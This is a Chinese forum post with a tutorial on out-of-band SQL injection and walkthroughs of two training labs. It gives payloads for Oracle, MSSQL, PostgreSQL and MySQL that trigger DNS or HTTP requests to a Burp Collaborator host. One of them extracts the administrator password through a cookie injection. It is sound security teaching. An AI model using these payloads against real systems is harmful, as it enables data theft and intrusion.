用户
搜索
  • TA的每日心情
    开心
    昨天 11:54
  • 签到天数: 69 天

    连续签到: 14 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    8

    主题

    31

    帖子

    1235

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2018-6-2

    i春秋签约作者

    发表于 2020-8-19 15:00:38 74896
    本帖最后由 dll_s 于 2020-8-19 15:24 编辑

    0x13 SQL注入带外通信(三)


    OOB(Out-of-Band)带外通信注入也是一种挺常见的注入手法,与之前的带内通信相比(发送请求,返回结果都在同一条信道内),需要借助一个额外的服务器用于获取带外信道数据。具体操作即为通过注入SQL语句,构造请求到服务器中,以此将我们所需查询的数据带出来。那什么时候我们需要使用带外注入技术呢:当web应用不产生任何错误响应,并且任何响应报文与SQL语句不存在逻辑关联,同时基于时间延迟的盲注未产生明显时延,此时就只能使用带外通信技术了。同时此种方式也可以节省使用布尔盲注或时延盲注所要消耗的大量时间。

    根据信道协议不同,一般可以分为这几种

    • DNS信道
    • e-mail信道
    • HTTP信道
    • ICMP信道

    一般我们需要根据实际目标的网络部署情况选择通信信道,较为常见的为DNS信道,因为很少有网络环境会对DNS报文进行严格限制。虽然OOB注入具有许多优势,但由于不同数据库内部查询语句及权限分配的复杂和差异化,以及前后版本的不兼容性,我们在手工注入时往往会遇到许多问题,因此也非常考验对数据库的操作技巧,网络中流传的相关文章也往往结构混乱不够完整,较为完善的叙述还是在《sql注入攻击与防御》等专业书籍中。

    实验内容

    在实验开始前介绍一下各种OOB注入技巧语句

    Oracle

    select utl_inaddr.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') from dual
    select utl_http.request('http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net') from dual;
    select DBMS_LDAP.INIT('YOUR-SUBDOMAIN-HERE.burpcollaborator.net',80) from dual;
    SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual  --利用XXE漏洞,可能被修复

    Microsoft

    exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
    -- 其它可能有用的存储过程
    xp_getfiledetails
    xp_fileexist
    xp_dirtree

    Microsoft中的带外通信主要是利用了其存储过程间接产生DNS请求,这依赖于Windows对网络UNC(Universal Naming Covention,通用命名约定的内在支持)。

    存储过程: 存储过程是指为了完成特定的功能由一条或多条sql语句组成的集合,这些语句集合可以被多次调用,类似于批处理文件,通常指定一个名称进行存储,经系统进行编译后存储到数据库的服务器中,作为数据库的对象,形成一个处理单元。

    存储过程又分为三类

    • 系统存储过程:该类存储过程通常被存放到master数据库中,存储过程名称通常以“sp_”为前缀,但是在其他数据库中均可调用系统存储过程,调用时在存储过程名称前面不必添加数据库的限定名
    • 用户自定义存储过程:略
    • 扩展存储过程: 通常以“xp_”为前缀标识,在sql server系统外通过执行动态链接库,即DLL文件,来实现的功能

    存储过程相关介绍:http://m.zhizuobiao.com/sql/sql-18071800218/

    还有一个问题就是有些sql注入文章中使用了EXEC master.dbo.xp_cmdshell但有些又是EXEC master..xp_cmdshell

    EXEC master.dbo.xp_cmdshell
    • master:指代database
    • dbo:指代schema
    • xp_cmdshell:指代存储过程
    EXEC master..xp_cmdshell

    这一语句相当于省略了schema参数,如果一个database中有多个schema则不建议使用

    更多参考:https://stackoverflow.com/questions/5216085/what-does-exec-master-do/5216108#5216108

    另外,在这篇文章中可以看到不同版本的一些元数据检索语句也已经发生了变化

    https://www.mssqltips.com/sqlservertip/1037/system-information-in-sql-server-2000-vs-sql-server-2005/

    可以发现进行带外通信注入已经变得非常复杂了

    PostgreSQL

    copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
    SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);   --需要安装contrib/dblink,且为DBA权限

    MySQL

    LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') 
    SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

    实验一:带外通信SQL盲注

    实验要求:通过SQL注入产生一条DNS查询到Burp Collaborator服务器中

    实验提示:此应用程序跟踪cookie内容以用于分析,并在后台执行的sql语句中包含了该cookie,SQL查询是异步进行的,因此不会对响应造成影响

    img

    这里提到了对Burp Collaborator模块的使用,之前可能大家没有接触过,这里做一个简单介绍

    Burp Collaborator这个模块功能其实很好理解,分为两块,一块是Sever端,一块是Client端。其作用就是将一些带外通信功能模块集成到了BurpSuite中,Server即为在带外通信中用于接受带外数据的服务器,Client用于显示Server端收到的数据。

    Sever端,位于Project Option->Misc选项中,这里我们配置使用的是Burp提供的公共服务器

    img

    点击Run health check可以进行测试

    img

    Client端位置

    img

    点开来后,点击Copy to clipboard就可以复制我们的Server地址进行使用了

    同时,它也会每隔一段时间反馈Server端收到的数据,或者点击Poll now立即查看

    基本介绍就是这些,如果想有更深入的了解,比如自行搭建Server端等可以查看此篇文章:https://www.freebuf.com/sectool/193447.html

    下面进入实验,配置BP代理

    在cookie处使用如下payload,注意将x.burpcollaborator.net替换为自己的Server端地址

    x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

    发送请求即可完成实验,注意URL编码

    img

    实验二:利用带外通信获取数据

    实验要求:通过sql注入获取administrator账户密码并成功登录

    实验提示:此应用程序跟踪cookie内容以用于分析,并在后台执行的sql语句中包含了该cookie,SQL查询是异步进行的,因此不会对响应造成影响。存在数据表users,内含username和password列

    img

    与上一实验一样,我们需要利用带外通信,同时将数据携带出来

    使用的payload如下,注意将YOUR-SUBDOMAIN-HERE.burpcollaborator.net替换为自己的Server端地址

    x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

    此payload将产生一个DNS请求,地址为SELECT password FROM users WHERE username='administrator'所产生的结果连接.YOUR-SUBDOMAIN-HERE.burpcollaborator.net

    img

    发送请求后,在Client端就可以看到请求信息,前面这一段字符即为administrator账户密码

    img

    使用账号密码成功登录完成实验

    总结


    怎么说呢,OOB注入基本已经算是研究领域了,近年来也没有特别新的技巧出现,有时候能上工具还是上工具吧。另外在实际的渗透测试过程中要注意信息的搜集,判断好后台数据库的类型有助于后面OOB注入相关技巧的展开。

    BP学院关于SQL注入的系列实验到这里就结束了,总的来说设计还是非常好的,能够深入浅出的带我们了解SQL注入的各种不同技巧,也基本涵盖了SQL注入的各个种类,想要了解SQL注入具体流程的小伙伴可以自己动手,多多练习以加深理解

    关于如何防范SQL注入:

    • 使用参数化查询
    • 使用低权限账户
    • 关闭数据库一些无用的默认功能
    • 定时维护升级打补丁

    以下是一些SQL注入payload合集:


    游客,如果您要查看本帖隐藏内容请回复

    本帖被以下淘专辑推荐:

    dll表哥牛批
    使用道具 举报 回复
    发表于 2020-8-20 09:45:05
    老哥,第三条 数据库一些无用的默认功能  能不能举个栗子
    使用道具 举报 回复
    发表于 2020-8-20 11:21:59
    喜欢这个系列
    使用道具 举报 回复
    强!
    使用道具 举报 回复
    发表于 2020-8-20 15:05:25
    ofei 发表于 2020-8-20 09:45
    老哥,第三条 数据库一些无用的默认功能  能不能举个栗子

    这个如果展开来讲的话,又可以分为不同数据库不同版本以及不同操作系统,其具体操作都是存在差异的,所以也是一个很宽泛的主题
    比如这里以Mysql为例进行安全配置

    使用道具 举报 回复
    学习到了
    使用道具 举报 回复
    表哥好厉害
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册